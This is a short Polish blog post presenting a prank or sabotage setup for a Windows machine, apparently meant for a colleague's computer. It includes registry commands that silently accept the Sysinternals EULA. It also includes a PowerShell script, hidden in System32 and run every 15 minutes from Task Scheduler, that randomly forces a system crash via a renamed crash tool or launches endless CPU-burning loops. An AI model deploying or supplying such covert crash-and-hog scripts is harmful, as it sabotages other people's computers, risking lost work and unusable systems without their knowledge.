Coś dla Windowsa mój kolego...

Posted on Thu 08 June 2023 in Hacks (wannabe), no_front

...nie pamiętam co, ale chyba niefajnego. :)

Update żeby się okno akceptacji nie pojawiało:

reg.exe ADD HKCU\Software\Sysinternals /v EulaAccepted /t REG_DWORD /d 1 /f
reg.exe ADD HKU.DEFAULT\Software\Sysinternals /v EulaAccepted /t REG_DWORD /d 1 /f
random.ps1
$asig = "0x01", "0x02", "0x03", "0x04", "0x05", "0x06", "0x07", "0x08"
$vrnd = Get-Random -Minimum 0 -Maximum 50
if($vrnd -gt 20 -and $vrnd -lt 35) {

Write-Output $msig

$msig = Get-Random -Maximum $asig.count
C:\Windows\System32\nmf64.exe crash $msig

} else {

Write-Output $vrnd

Start-Job { C:\Windows\System32\runwhile.ps1 }

}

runwhile.ps1
while ($true){}
while ($true){}
while ($true){}
while ($true){}
while ($true){}
while ($true){}
while ($true){}
while ($true){}

Oba są w C:\Windows\System32

Wywoluje co 15 minut ze Schedulera.